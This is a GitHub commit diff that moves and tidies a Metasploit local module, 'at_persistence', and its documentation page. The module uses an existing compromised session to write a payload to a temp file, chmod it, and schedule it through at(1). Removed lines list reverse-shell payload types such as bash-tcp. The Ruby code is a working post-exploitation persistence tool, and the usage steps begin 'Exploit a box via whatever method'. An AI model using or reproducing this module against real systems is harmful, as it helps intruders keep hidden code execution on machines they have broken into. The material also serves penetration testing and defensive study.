Skip to content

Commit b65a62b

Browse files
committed
Clean up module
1 parent 0d02997 commit b65a62b

File tree

2 files changed

+15
-35
lines changed

2 files changed

+15
-35
lines changed

documentation/modules/exploit/multi/local/at_persistence.md renamed to documentation/modules/exploit/unix/local/at_persistence.md

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -11,22 +11,22 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
1111

1212
1. Start msfconsole
1313
2. Exploit a box via whatever method
14-
3. Do: `use exploit/multi/local/at_persistence`
14+
3. Do: `use exploit/unix/local/at_persistence`
1515
4. Do: `set session #`
1616
5. Do: `set target #`
1717
6. `exploit`
1818

1919

2020
## Options
2121

22-
**TIMING**
22+
**TIME**
2323

24-
Controls the time value passed to `at(1)`
24+
When to run job via at(1). Changing may require WfsDelay to be adjusted.
2525

2626
**PATH**
2727

28-
If set, uses this value as the path on the remote system to store the payload. If unset, uses `mktemp`.
28+
Path to store payload to be executed by at(1). Leave unset to use mktemp.
2929

3030
## Scenarios
3131

32-
TBD
32+
This module is useful for running one-shot payloads with delayed execution.It is slightly less obvious than cron.

modules/exploits/multi/local/at_persistence.rb renamed to modules/exploits/unix/local/at_persistence.rb

Lines changed: 10 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Local
77
Rank = ExcellentRanking
88

99
include Msf::Post::File
10-
include Msf::Post::Unix
1110
include Msf::Exploit::FileDropper
1211

1312
def initialize(info = {})
@@ -27,66 +26,47 @@ def initialize(info = {})
2726
'DefaultTarget' => 0,
2827
'Platform' => %w(unix),
2928
'Arch' => ARCH_CMD,
30-
'Payload' =>
31-
{
32-
'Compat' =>
33-
{
34-
'PayloadType' => 'cmd cmd_bash',
35-
'RequiredCmd' => 'bash-tcp gawk generic openssl perl python ruby'
36-
}
37-
},
38-
'DefaultOptions' => { 'WfsDelay' => 65 },
3929
'DisclosureDate' => "Jan 1 1997" # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
4030
)
4131
)
4232

4333
register_options(
4434
[
45-
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted', 'now + 1 minute']),
46-
OptBool.new('CLEANUP', [true, 'Delete payload after execution', true])
35+
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now'])
4736
]
4837
)
4938

5039
register_advanced_options(
5140
[
52-
OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp'])
41+
OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.'])
5342
]
5443
)
5544
end
5645

5746
def check
58-
token = "fail #{Rex::Text.rand_text_alphanumeric(8)}"
59-
if cmd_exec("at -l || echo #{token}") =~ /#{token}/
60-
Exploit::CheckCode::Safe
61-
else
47+
token = Rex::Text.rand_text_alphanumeric(8)
48+
if cmd_exec("atq && echo #{token}").include?(token)
6249
Exploit::CheckCode::Vulnerable
50+
else
51+
Exploit::CheckCode::Safe
6352
end
6453
end
6554

66-
def cmd_exec(cmd)
67-
super("PATH=/bin:/usr/bin:/usr/local/bin #{cmd}")
68-
end
69-
7055
def exploit
7156
unless check == Exploit::CheckCode::Vulnerable
7257
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
7358
end
7459

75-
unless (payload_file = datastore['PATH'] || cmd_exec('mktemp'))
60+
unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
7661
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
7762
end
7863

79-
persistent_payload = "at -f #{payload_file} #{datastore['TIME']}\n" + payload.encoded
80-
write_file(payload_file, persistent_payload)
81-
register_files_for_cleanup(payload_file) if datastore['CLEANUP']
64+
write_file(payload_file, payload.encoded)
65+
register_files_for_cleanup(payload_file)
8266

8367
cmd_exec("chmod 700 #{payload_file}")
8468
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
8569

86-
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
87-
0.upto(datastore['WfsDelay'].to_i) do
88-
Rex.sleep(1)
89-
break if session_created?
90-
end
70+
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
9171
end
9272
end

0 commit comments

Comments
 (0)